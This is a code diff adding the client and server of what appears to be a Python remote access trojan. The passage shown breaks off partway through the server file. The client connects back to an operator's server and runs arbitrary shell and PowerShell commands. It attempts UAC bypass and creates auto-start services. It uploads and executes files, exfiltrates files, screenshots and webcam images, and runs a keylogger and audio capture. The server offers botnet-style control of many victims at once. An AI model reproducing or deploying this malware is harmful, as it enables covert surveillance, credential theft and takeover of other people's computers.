Fore.LIGHTMAGENTA_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'sky'] + elif value == 'hacker': + return [Fore.LIGHTWHITE_EX, Fore.GREEN, Fore.GREEN, Fore.LIGHTWHITE_EX, Fore.LIGHTRED_EX, 'hacker'] + + +def set_encoding(value): + if len(value) < 15 and len(value) > 0: + return value + + +def set_bool(value): + if value is True: + return True + else: + return False + + +def set_email(value): + self_email_list = [] + + try: + if value[0].lower() == 'true': + self_email_list.append(True) + else: + raise Exception('Something went wrong.') + except: + self_email_list.append(False) + + try: + if '@' in value[1]: + self_email_list.append(value[1]) + else: + raise Exception('Something went wrong.') + except: + self_email_list.append(None) + + try: + if value[2] != '' and value[2] != 'None': + self_email_list.append(value[2]) + else: + raise Exception('Something went wrong.') + except: + self_email_list.append(None) + + try: + if len(value) > 3: + for email in value[3:]: + if '@' in email: + continue + else: + value.remove(email) + self_email_list.append(value[3:]) + else: + raise Exception('Something went wrong.') + except: + self_email_list.append([]) + + return self_email_list + + +def setup_directory(directories): + for directory in directories: + if os.path.isdir(directory) is False: + os.mkdir(directory) + + +def clear_screen(): + os.system('clear || cls') + + +def banner(theme): + print(f'''{theme[2]}{' ' * 84}///, ////{Style.RESET_ALL} +{theme[1]}{'_' * 35}Created by{'_' * 34}{' ' * 5}{Style.RESET_ALL}{theme[2]}\ /, / >.{Style.RESET_ALL} +{theme[2]}{' ' * 84} \ /, _/ /.{Style.RESET_ALL} +{theme[2]}// // //{Style.RESET_ALL}{theme[3]} // // // // // // // // // // // // //{Style.RESET_ALL}{theme[2]} \_ /_/ /. +{theme[2]} // // // // {Style.RESET_ALL}{theme[3]} // // // // // // //{Style.RESET_ALL}{theme[2]} \__/_ < +{theme[2]} // // // // {Style.RESET_ALL}{theme[3]} // //// // // // // // // // // // //{Style.RESET_ALL}{theme[2]} /<<< \_\_ +{theme[2]} // // // // {Style.RESET_ALL}{theme[3]} // // // // // // //{Style.RESET_ALL}{theme[2]} /,)^>>_._ \\ +{theme[2]} // // {Style.RESET_ALL}{theme[3]}// // // // // // // // // // //{Style.RESET_ALL}{theme[2]} (/ \\\\ /\\\\\\ +{theme[1]}{'_' * 79}{' ' * 12}{Style.RESET_ALL}{theme[2]}// ````{Style.RESET_ALL} +{theme[2]}{' ' * 90}((`{Style.RESET_ALL}''') + + +def timer(): + return time.strftime("%Y-%m-%d %H:%M") + + +def text_image(text): + PIXEL_ON = 255 + PIXEL_OFF = 0 + + grayscale = 'L' + lines = tuple(l.rstrip() for l in text.split('\n')) + + large_font = 40 + font_path = 'cour.ttf' + + try: + font = ImageFont.truetype(font_path, size=large_font) + except IOError: + font = ImageFont.load_default() + + pt2px = lambda pt: int(round(pt * 96.0 / 72)) + max_width_line = max(lines, key=lambda s: font.getsize(s)[0]) + test_string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + max_height = pt2px(font.getsize(test_string)[1]) + max_width = pt2px(font.getsize(max_width_line)[0]) + height = max_height * len(lines) + width = int(round(max_width + 40)) + image = Image.new(grayscale, (width, height), color=PIXEL_OFF) + draw = ImageDraw.Draw(image) + + vertical_position = 5 + horizontal_position = 5 + line_spacing = int(round(max_height * 0.8)) + for line in lines: + draw.text((horizontal_position, vertical_position), line, fill=PIXEL_ON, font=font) + vertical_position += line_spacing + c_box = ImageOps.invert(image).getbbox() + image = image.crop(c_box) + return image + + +def readInput(encoding, timeout): + start_time = time.time() + inputData = '' + + while True: + if msvcrt.kbhit(): + character = msvcrt.getwch() + + if character == '\b' and len(inputData) == 0: + continue + elif chr(ord(character)) == 'à': + sub = msvcrt.getwch() + if sub == 'K' or sub == 'M' or sub == 'P' or sub == 'H': + pass + continue + + print(character, end='', flush=True) + + if character == '\r': + break + elif character == '\b': + inputData = inputData[:-1] + print(' \b', end='', flush=True) + else: + inputData += character + + if timeout is True: + pass + elif len(inputData) == 0 and (time.time() - start_time) > timeout: + break + time.sleep(0.01) + + print() + if len(inputData) > 0: + return inputData + else: + raise TimeoutError('Timeout') \ No newline at end of file diff --git a/client.py b/client.py new file mode 100644 index 0000000..8952878 --- /dev/null +++ b/client.py @@ -0,0 +1,330 @@ +import threading +import platform +import geocoder +import socket +import pickle +import numpy +import zlib +import cv2 +import os + +from Specific.uac_bypass import Bypass, is_running_as_admin +from Modules.Clients.keylogger import Keylogger +from Modules.Clients.stream import Stream +from Specific.encrypt import Encryption +from Modules.Clients.audio import Audio +from Modules.Clients.talk import Talk +from Modules.Clients.cam import Cam +from subprocess import Popen, PIPE +from Utilities.client import * +from PIL import ImageGrab +from sys import exit + + +class Client: + encrypt = Encryption() + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + + def __init__(self, server_ip='127.0.0.1', server_port=1200, encoding='latin-1'): + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.ip = server_ip + self.port = server_port + self.encoding = encoding + try: + self.username = f'{os.environ["USERNAME"].capitalize()}@{platform.node()}' + except: + self.username = 'Anonymous@Unkown' + + + @staticmethod + def sub_shell(message, encoding, ret=True): + shell = Popen(message, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + if ret: + return shell.stdout.read().decode(encoding).strip() + shell.stderr.read().decode(encoding).strip() + + + def send_message(self, message): + result = pickle.dumps(message) + result = zlib.compress(result, 1) + encrypted_msg = Client.encrypt.do_encrypt(result) + result = bytes(f'{len(encrypted_msg):<{Client.headersize}}', self.encoding) + encrypted_msg + self.s.send(result) + + + def connect(self): + try: + self.s.connect((self.ip, self.port)) + except: + exit(0) + + + def listen(self): + while True: + try: + while True: + msg = self.s.recv(81920) + + if Client.new_msg: + Client.msg_len = int(msg[:Client.headersize]) + Client.new_msg = False + + Client.full_msg += msg + + if len(Client.full_msg)-Client.headersize == Client.msg_len: + decrypted_msg = Client.encrypt.do_decrypt(Client.full_msg[Client.headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + message = pickle.loads(decompressed_msg)['message'] + + if message[:2].lower() == 'cd': + try: + os.chdir(message[3:]) + self.send_message({'message': f'{os.getcwd()}'}) + except: + self.send_message({'message': f'Could not find directory {message[3:]}'}) + + elif message[:7].lower() == 'elevate': + try: + threading.Thread(target=Bypass, args=[message[8:]], daemon=False).start() + self.send_message({'message': f'Elevating privileges complete, program will be running as administrator within the next seconds!\nIf you are escelating privileges of this program, you will need to have duplicates option enabled.'}) + except: + self.send_message({'message': f'Something went wrong when attempting to elevate privileges.'}) + + elif message[:7].lower() == 'service': + try: + data = message[8:].split() + assert len(data) == 3 + result = Client.sub_shell(f'sc {data[0]} {data[1]} binpath= {data[2]} start= auto', self.encoding).strip() + self.send_message({'message': result}) + except Exception as e: + print(e) + self.send_message({'message': f'Something went wrong working with services.'}) + + elif message[:8].lower() == 'download': + try: + args = message[9:] + if message[-2:].lower() == '-e': + args = message[9:-3] + with open(args, 'rb') as f: + self.send_message({'message': f'Download of {args} complete!', 'download': f.read()}) + except: + self.send_message({'message': f'Download of {args} failed, please try again.'}) + + elif message[:6].lower() == 'upload': + try: + args = message[7:] + if message[-2:].lower() == '-e': + args = message[7:-3] + with open(args, 'wb') as f: + f.write(pickle.loads(decompressed_msg)['image']) + if message[-2:].lower() == '-e': + Client.sub_shell(args, self.encoding) + self.send_message({'message': f'Upload of {args} complete!'}) + except: + self.send_message({'message': f'Upload of {args} failed.'}) + + elif message.lower() == 'screenshot' or message.lower() == 'screenshot -s': + try: + img = ImageGrab.grab() + frame = numpy.array(img) + self.send_message({'message': f'Upload of screenshot complete!', 'screenshot': frame}) + except: + self.send_message({'message': f'Upload of screenshot failed.'}) + + elif message.lower() == 'devices': + try: + devices = 0 + sizes = [] + result = '' + while True: + cap = cv2.VideoCapture(devices) + if cap.read()[0]: + devices += 1 + width = int(cap.get(3)) + height = int(cap.get(4)) + sizes.append((width, height)) + else: + break + cap.release() + + for i, size in enumerate(sizes): + result += f'\n - Camera {i}: {size}' + if len(sizes) > 1: + result += '\n' + + self.send_message({'message': f'Number of webcam devices is {devices}{result}'}) + except: + self.send_message({'message': f'Something went wrong reading devices.'}) + + elif message[:6].lower() == 'webcam': + try: + args = message.lower().split() + position = int(args[1]) + cam = cv2.VideoCapture(position) + check, frame = cam.read() + assert check + self.send_message({'message': f'Upload of webcam screenshot complete!', 'webcam': frame}) + except: + self.send_message({'message': f'Upload of webcam screenshot failed.'}) + else: + cam.release() + cv2.destroyAllWindows() + + elif message[:6].lower() == 'stream': + try: + args = message[7:].lower().split(':') + assert len(args) == 2 + threading.Thread(target=Stream, args=[args[0], int(args[1]), self.encoding], daemon=True).start() + self.send_message({'message': f'Stream running!'}) + except: + self.send_message({'message': f'Stream failed to run (client).'}) + + elif message[:3].lower() == 'cam': + try: + args = message[4:].lower().split()[:-1] + assert len(args) == 2 + position = int(args[1]) + address = args[0].split(':') + threading.Thread(target=Cam, args=[address[0], int(address[1]), self.encoding, position], daemon=True).start() + self.send_message({'message': f'Cam running!'}) + except: + self.send_message({'message': f'Cam failed to run (client).'}) + + elif message[:5].lower() == 'audio': + try: + args = message[6:].lower().split(':') + assert len(args) == 2 + threading.Thread(target=Audio, args=[args[0], int(args[1]), self.encoding], daemon=True).start() + self.send_message({'message': f'Audio running!'}) + except: + self.send_message({'message': f'Audio failed to run (client).'}) + + elif message[:9].lower() == 'keylogger': + try: + args = message[10:].lower().split(':') + assert len(args) == 2 + threading.Thread(target=Keylogger, args=[args[0], int(args[1]), self.encoding], daemon=True).start() + self.send_message({'message': f'Keylogger running!'}) + except: + self.send_message({'message': f'Keylogger failed to run (client).'}) + + elif message[:4].lower() == 'talk': + try: + args = message[5:].lower().split(':') + assert len(args) == 2 + threading.Thread(target=Talk, args=[args[0], int(args[1]), self.encoding], daemon=True).start() + self.send_message({'message': f'Talk running!'}) + except: + self.send_message({'message': f'Talk failed to run (client).'}) + + elif message[:7].lower() == 'message': + try: + args = message[8:].split('=>') + style = 0 + assert len(args) <= 3 and args[0] != '' + if len(args) == 1: + args.append(args[0]) + args[0] = 'Message' + elif len(args) == 3: + style = int(args[2]) + threading.Thread(target=show_message, args=[args[0], args[1], style], daemon=True).start() + self.send_message({'message': f'Message shown!'}) + except: + self.send_message({'message': f'Message failed to show.'}) + + elif message[:4].lower() == 'open': + try: + args = message[5:].lower().split() + assert len(args) == 1 + threading.Thread(target=open_browser, args=[args[0]], daemon=True).start() + self.send_message({'message': f'Webbrowser opened!'}) + except: + self.send_message({'message': f'Webbrowser failed to open.'}) + + elif message[:2].lower() == 'ps': + try: + server_data = message.split() + server_data.pop(0) + data = ['powershell', '/c'] + for i, d in enumerate(server_data): + data.insert(i + 2, d) + self.send_message({'message': f'{Client.sub_shell(data, self.encoding).strip()}'}) + except: + self.send_message({'message': f'Something went wrong using powershell, please try again.'}) + + elif message[-2:].lower() == '-t': + try: + threading.Thread(target=Client.sub_shell, args=[message[:-3].split(), self.encoding, False], daemon=False).start() + self.send_message({'message': 'Command running as a thread!'}) + except: + self.send_message({'message': 'Command failed to run as a thread.'}) + + elif message[:15].lower() == 'dk7ad6mwo5apwr4': + types = ['OS', 'COMPUTER', 'VERSION', 'EXACT VERSION', 'MACHINE', 'PROCESSOR', 'LOCAL IP'] + info = [] + zipz = [] + + try: + info = [x for x in platform.uname()] + except: + info = ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN'] + + try: + info.append(socket.gethostbyname(socket.gethostname())) + except: + info.append('UNKOWN') + + try: + data = geocoder.ip('me').json['raw'] + for key, value in data.items(): + types.append(key.upper()) + if value == '': + info.append('UNKOWN') + else: + info.append(value) + except: + types += ['IP', 'HOSTNAME', 'CITY', 'REGION', 'COUNTRY', 'LOC', 'POSTAL', 'ORG'] + info += ['UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN', 'UNKOWN'] + + for i in range(len(info)): + zipz.append((types[i], info[i])) + + if message.lower() == 'dk7ad6mwo5apwr4khg': + self.send_message({'message': ((self.username, bool(is_running_as_admin())), zipz)}) + else: + self.send_message({'message': zipz}) + + elif message.lower() == 'aij4sawxorng2u9w5ar7': + self.send_message({'message': (self.username, bool(is_running_as_admin()))}) + + elif message.lower() == 'aij4oaw4orn12u9w5ar7': + self.send_message({'message': f'True'}) + + else: + result = Client.sub_shell(message.split(), self.encoding).strip() + if result == '': + result = 'Empty response.' + self.send_message({'message': result}) + + Client.new_msg = True + Client.msg_len = 0 + Client.full_msg = b'' + except KeyboardInterrupt: + continue + except: + exit(0) + + +if __name__ == '__main__': + try: + # import requests + # data = requests.get('https://YOUR_HEROKU_URL.herokuapp.com/').json() + # client = Client(data['ip'], data['port'], data['encoding']) + client = Client() + client.connect() + client.listen() + except: + exit(0) \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..f93ee15 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +opencv-python +cryptography +win10toast +colorama +geocoder +pillow +pynput +pipwin \ No newline at end of file diff --git a/server.py b/server.py new file mode 100644 index 0000000..239f55f --- /dev/null +++ b/server.py @@ -0,0 +1,1264 @@ +import threading +import argparse +import shutil +import socket +import pickle +import zlib +import time +import os + +from colorama import init, Fore, Style +from win10toast import ToastNotifier +from subprocess import Popen, PIPE +from queue import Queue +from PIL import Image +init() + +print(Fore.LIGHTCYAN_EX, end='') +parser = argparse.ArgumentParser(description='A reverse TCP server, supporting multiple clients & powerful modules.') +parser.add_argument('-ip', '--internet_protocol', default='127.0.0.1', help='The internet protocol to host the server, don\'t specificy this option for local testing, else 127.0.0.1 or localhost is recommended.') +parser.add_argument('-p', '--port',type=int, default=1200, help='Port to be listening on for clients to connect to, default port is 1200.') +parser.add_argument('-mP', '--module_ports', default='1201,1202,1203,1204,1205', help='Set the ports the modules will be using in the order of stream, cam, audio, keylogger, talk.Default is 1201,1202,1203,1204,1205.') +parser.add_argument('-b', '--banner', action='store_false', help='To display the banner upon running the program, use this flag to hide the banner. Default is True.') +parser.add_argument('-u', '--username', default=None, help='Set the username of your server. Default is your computers username.') +parser.add_argument('-t', '--theme', default='light', help='Specify theme the program. specify dark for white terminal windows. Default is light.') +parser.add_argument('-e', '--encoding', default='latin-1', help='Encoding to be used when sending & recieveing data over the wire, default is latin-1.') +parser.add_argument('-n', '--notice', action='store_false', help='To recieve a notice in the console when a client connect to the server. Default is True.') +parser.add_argument('-eN', '--email_notice', default='False,None,None,[]', help='To recieve a notice in your email when a client connect to the server, format: True|False,email,email password, other emails than your own seperated by comma (Optional). Default is False,None,None,[]') +parser.add_argument('-d', '--duplicates', action='store_false', help='To enable duplicate connections from the same computer, this is recognized matching computers usernames. Can be enabled in cases of multiple persons with the exact same username. Default is False.') +parser.add_argument('-w', '--whoami', action='store_false', help='To disable collecting detailed information on client connection. May be a choice for recurring or frequent clients connecting, making the connection faster. Default is True.') +parser.add_argument('-H', '--history', action='store_false', help='To disable a history log of connection & disconnection of every person. Default is True.') +parser.add_argument('-uL', '--use_latest', action='store_true', help='To use settings from last time running the script. Default is False.') +args = parser.parse_args() +print(Style.RESET_ALL, end='') + +from Utilities.db_queries import * +update_db(args.use_latest, args.internet_protocol, args.port, args.module_ports) +from Specific.encrypt import Encryption +from Modules.Servers.keylogger import * +from Modules.Servers.stream import * +from Modules.Servers.audio import * +from Modules.Servers.talk import * +from Modules.Servers.cam import * +from Specific.mail import Email +from Utilities.server import * + + +class Server: + # Socket, queue & encryption + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + q = Queue() + encrypt = Encryption() + toaster = ToastNotifier() + # headersize + headersize = 10 + # Threads & jobs + threads = 2 + jobs = [1, 2] + # Connections & addresses + connections = [] + addresses = [] + usernames = [] + priveldges = [] + information = [] + # Program & session timers + sessionTime = '' + runningTime = '' + # Message transfer + new_msg = True + msg_len = 0 + full_msg = b'' + msg = '' + # Keep alive & connect notice + keep_alive_timer = 60 + # Filter client + filter_client = None + # Session clear screen + session_clear_screen = False + + + """ + The method called upon instantiation to provide & + verify the options specified by the user available + as command line arguments. + """ + def __init__(self, ip, port, username, theme, encoding, console_notice, email_notice, duplicates, whoami, history, banner, module_ports): + # Ip & port & encoding + self.ip = ip + self.port = port + self.module_ports = module_ports + self.banner = set_bool(banner) + self.duplicates = set_bool(duplicates) + self.history = set_bool(history) + self.whoami = set_bool(whoami) + self.encoding = set_encoding(encoding) + # Username & theme + self.username = set_username(username) + self.theme = set_theme(theme) + # Notices + self.console_notice = set_bool(console_notice) + self.email_notice = set_email(email_notice) + + + """ + Listens for connections to accept & handle for + in the methods below. It simply is setting up, + binding & listening to a socket. + """ + def listen(self): + try: + Server.s.bind((self.ip, self.port)) + Server.s.listen() + except: + msg_len = len(f'Binding socket to IP[{self.ip}] PORT[{self.port}] failed.') + print(f'{self.theme[1]}\n{"-" * msg_len}\nBinding socket to IP[{Style.RESET_ALL}{self.theme[3]}{self.ip}{Style.RESET_ALL}]{self.theme[1]} PORT[{Style.RESET_ALL}{self.theme[3]}{self.port}{Style.RESET_ALL}{self.theme[1]}] failed.\n{"-" * msg_len}{Style.RESET_ALL}') + os._exit(0) + + + """ + How to handle the connections coming in, adding + the data of who this client is to lists, files + & verifying the connection is coming through + the client script & not any foreign program. + """ + def accept(self): + # Close all Server.connections + for connection in Server.connections: + connection.close() + + # Reset Server.connections & Server.addresses + del Server.connections[:] + del Server.addresses[:] + + # Accept all clients & append data to lists + while True: + client, address = Server.s.accept() + data = '' + try: + if self.whoami: + data = self.send_message(client, 'dk7ad6mwo5apwr4khg') + # Options - Duplicate flag + if self.duplicates is False and data[0][0] in Server.usernames: + client.close() + continue + # Append data to lists + Server.usernames.append(data[0][0]) + Server.priveldges.append(data[0][1]) + Server.information.append(data[1]) + + info = '' + for typez, item in data[1]: + info += f'{typez}: {item}\n' + + dirs = ['Data', f'Data/{data[0][0]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{data[0][0]}/{data[0][0]}.txt', 'w') as f: + f.write(f'USER: {data[0][0]}\nIP: {address[0]}\nPORT: {address[1]}\n{info}') + else: + data = self.send_message(client, 'aij4sawxorng2u9w5ar7') + # Options - Duplicate flag + if self.duplicates is False and data[0] in Server.usernames: + client.close() + continue + # Append data to lists + Server.usernames.append(data[0]) + Server.priveldges.append(data[1]) + Server.information.append([('OS', 'UNSET'), ('COMPUTER', 'UNSET'), ('VERSION', 'UNSET'), ('EXACT VERSION', 'UNSET'), ('MACHINE', 'UNSET'), ('PROCESSOR', 'UNSET'), ('LOCAL IP', 'UNSET'), ('IP', 'UNSET'), ('HOSTNAME', 'UNSET'), ('CITY', 'UNSET'), ('REGION', 'UNSET'), ('COUNTRY', 'UNSET'), ('LOC', 'UNSET'), ('POSTAL', 'UNSET'), ('ORG', 'UNSET')]) + except: + client.close() + continue + Server.connections.append(client) + Server.addresses.append(address) + + # Options - History, Whoami, Notice & Email Notice + if self.history: + user = '' + if self.whoami: + user = data[0][0] + else: + user = data[0] + + now = time.strftime('%Y-%m-%d (%H-%M-%S)') + dirs = ['Data', f'Data/{user}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: + msg = f'CONNECTION: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + + if self.console_notice: + now = time.strftime('%H:%M') + Server.toaster.show_toast('Connection Notice!', f'{user} Connected! ({now})\nAddress: {address[0]}:{address[1]}', icon_path=None, duration=5, threaded=True) + + if self.email_notice[0]: + try: + info = '' + if self.whoami: + for typez, item in data[1]: + info += f'\n{typez}: {item}' + now = timer() + subject = f'Connection! {now}' + text = f'CONNECTION: {user}\nIP: {address[0]}\nPORT: {address[1]}\nWHEN: {now}{info}' + Email(self.email_notice[1], self.email_notice[2], self.email_notice[1].split() + self.email_notice[3], subject, text).send_email() + except: + print(f'{self.theme[1]}\nFailed to send email notification.\nPlease check your configuration options.\n\n{Style.RESET_ALL}{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') + + + """ + Shell is the handler for everything it lets you + delete, list & connect with clients. It allows + you to specify options of how the program should + operate but also has special features like the + "all" command to allowing botnet like behaviour. + """ + def shell(self): + # Setup shell + clear_screen() + Server.runningTime = timer() + if self.banner: + banner(self.theme) + # Setup thread + threading.Thread(target=self.keepAlive, daemon=True).start() + + while True: + try: + # Setup input + print(f'{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') + try: + shell_msg = readInput(self.encoding, True).lower() + except TimeoutError: + continue + + # Running modules + if shell_msg == 'running': + print(f'{self.theme[2]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}\n{Style.RESET_ALL}') + continue + + # Stream + elif shell_msg[:6] == 'stream': + try: + if shell_msg[7:11] == 'kill': + print(f'{self.theme[2]}{set_stream_settings(shell_msg[12:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[7:])), True, 'stream') + except: + print(f'{self.theme[2]}Failed to handle stream.{Style.RESET_ALL}\n') + + # Cam + elif shell_msg[:3] == 'cam': + try: + if shell_msg[4:8] == 'kill': + print(f'{self.theme[2]}{set_cam_settings(shell_msg[9:])}{Style.RESET_ALL}\n') + else: + args = shell_msg[4:].split() + self.session(self.getConn(int(args[0])), True, f'cam {args[1]} {args[2]}') + except: + print(f'{self.theme[2]}Failed to handle cam.{Style.RESET_ALL}\n') + + # Audio + elif shell_msg[:5] == 'audio': + try: + if shell_msg[6:10] == 'kill': + print(f'{self.theme[2]}{set_audio_settings(shell_msg[11:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[6:])), True, 'audio') + except: + print(f'{self.theme[2]}Failed to handle audio.{Style.RESET_ALL}\n') + + # Keylogger + elif shell_msg[:9] == 'keylogger': + if shell_msg[10:14].lower() == 'kill': + print(f'{self.theme[2]}{set_keylogger_settings(shell_msg[15:])}{Style.RESET_ALL}\n') + elif shell_msg[10:14] == 'text': + try: + data = get_logs(int(shell_msg[15:])) + print(f'{self.theme[2]}{data[1]}{Style.RESET_ALL}\n') + except: + print(f'{self.theme[2]}Failed to type logs.{Style.RESET_ALL}\n') + elif shell_msg[10:15] == 'image': + try: + data = get_logs(int(shell_msg[16:])) + assert data[0] is not None + dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(data[1]) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + print(f'{self.theme[2]}Logs visualization complete!{Style.RESET_ALL}\n') + except: + print(f'{self.theme[2]}Failed to visualize logs.{Style.RESET_ALL}\n') + else: + try: + self.session(self.getConn(int(shell_msg[10:])), True, 'keylogger') + except: + print(f'{self.theme[2]}Failed to handle keylogger.{Style.RESET_ALL}\n') + + # Talk + elif shell_msg[:4] == 'talk': + try: + if shell_msg[5:9] == 'kill': + print(f'{self.theme[2]}{set_talk_settings(shell_msg[10:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[5:])), True, 'talk') + except: + print(f'{self.theme[2]}Failed to handle talk.{Style.RESET_ALL}\n') + + # Server shell + elif shell_msg[:6] == 'server': + try: + data = Popen(shell_msg[7:], shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + print(f'{self.theme[2]}{data.stdout.read().decode(self.encoding).strip()}{data.stderr.read().decode(self.encoding).strip()}{Style.RESET_ALL}\n'.replace('ÿ', ' ')) + except: + print(f'{self.theme[2]}Something went wrong running shell command.\n{Style.RESET_ALL}') + + # Archive + elif shell_msg[:7] == 'archive': + try: + if shell_msg.strip() == 'archive': + raise Exception('No data to archive') + if shell_msg[-2:] == '-a': + shutil.make_archive('Data', 'zip', f'{os.getcwd()}/Data') + shutil.rmtree(f'{os.getcwd()}/Data') + else: + user = shell_msg[8:] + shutil.make_archive(user.capitalize(), 'zip', f'{os.getcwd()}/Data/{user.capitalize()}') + shutil.rmtree(f'{os.getcwd()}/Data/{user}') + print(f'{self.theme[2]}Successfully archived your data!\n{Style.RESET_ALL}') + except: + print(f'{self.theme[1]}Something went wrong trying to archive your data.\n{Style.RESET_ALL}') + + # Whoami + elif shell_msg[:6] == 'whoami': + try: + target = int(shell_msg[7:]) + # Filter enabled + Server.filter_client = Server.addresses[target][1] + data = self.send_message(Server.connections[target], 'dk7ad6mwo5apwr4') + # Filter disabled + Server.filter_client = None + Server.information[target] = data + + info = '' + for typez, item in data: + info += f'{typez}: {item}\n' + + dirs = ['Data', f'Data/{Server.usernames[target]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{Server.usernames[target]}/{Server.usernames[target]}.txt', 'w') as f: + f.write(f'USER: {Server.usernames[target]}\nADMIN: {Server.priveldges[target]}\nIP: {Server.addresses[target][0]}\nPORT: {Server.addresses[target][1]}\n{info}') + print(f'{self.theme[2]}Whoami complete on connection {target}!\n{Style.RESET_ALL}\n', end='') + except: + print(f'{self.theme[1]}Something went wrong running whoami.\n{Style.RESET_ALL}') + + # Send all + elif shell_msg[:3] == 'all': + # If no clients + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n{Style.RESET_ALL}') + + for index, connection in enumerate(Server.connections): + try: + out = f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' + out_length = len(str(index) + Server.usernames[index] + str(Server.priveldges[index]) + Server.addresses[index][0] + str(Server.addresses[index][1]) + '[] ADMIN[] IP[] PORT[]') + print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') + + client_msg = self.session(self.getConn(index), True, shell_msg[4:]) + if client_msg: + self.delete_client(index, Server.usernames[index]) + except: + print(f'{self.theme[1]}Something went wrong sending message.\n{Style.RESET_ALL}') + + # List + elif shell_msg[:4] == 'list' or shell_msg[:2] == 'ls': + if shell_msg == 'list' or shell_msg == 'ls': + self.list_connections(False) + elif shell_msg == 'list -l' or shell_msg == 'ls -l': + self.list_connections(True) + else: + print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') + + # Select + elif shell_msg[:7] == 'session': + try: + target = int(shell_msg[8:]) + conn = self.getConn(target) + if conn is not None: + self.session(conn) + except: + print(f'{self.theme[2]}\'{shell_msg[8:]}\' is not a valid session.\n{Style.RESET_ALL}') + + # Client + elif shell_msg[:6] == 'client': + try: + args = shell_msg.split() + target = int(args[1]) + cmd = ' '.join(args[2:]) + out = f'{self.theme[2]}{Server.usernames[target]}[{Style.RESET_ALL}{self.theme[3]}{target}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[target]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' + out_length = len(str(target) + Server.usernames[target] + str(Server.priveldges[target]) + Server.addresses[target][0] + str(Server.addresses[target][1]) + '[] ADMIN[] IP[] PORT[]') + print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') + self.session(self.getConn(target), True, cmd) + except: + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') + else: + print(f'{self.theme[1]}Something went wrong, please try again.\n\n{Style.RESET_ALL}', end='') + + # Delete + elif shell_msg[:3] == 'del': + try: + if shell_msg[4:] == '*': + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') + else: + self.delete_client(':', '*') + print(f'{self.theme[2]}All connections deleted!\n\n{Style.RESET_ALL}', end='') + else: + self.delete_client(int(shell_msg[4:]), Server.usernames[int(shell_msg[4:])]) + print(f'{self.theme[2]}Connection ({Style.RESET_ALL}{self.theme[3]}{shell_msg[4:]}{Style.RESET_ALL}{self.theme[2]}) deleted!\n\n{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[2]}\'{shell_msg[4:]}\' is not a valid connection to delete.\n\n{Style.RESET_ALL}', end='') + + # Options + elif shell_msg == 'options': + if len(self.email_notice[3]) > 0: + emails_connector = ', ' + else: + emails_connector = '' + + quick_mode = False + if self.history is False and self.whoami is False and self.email_notice[0] is False: + quick_mode = True + + if self.email_notice[0]: + email_info_notice = f' - Email Notice: True\n - Email: {self.email_notice[1]}\n - Password: {self.email_notice[2]}\n - To: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}' + else: + email_info_notice = f' - Email Notice: False\n - Email: {self.theme[1]}(Unused: {self.email_notice[1]}){Style.RESET_ALL}{self.theme[2]}\n - Password: {Style.RESET_ALL}{self.theme[1]}(Unused: {self.email_notice[2]}){Style.RESET_ALL}{self.theme[2]}\n - To: {Style.RESET_ALL}{self.theme[1]}(Unused: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}){Style.RESET_ALL}' + module_ports_keys = ('Stream', 'Cam', 'Audio', 'Keylogger', 'Talk') + module_ports_data = 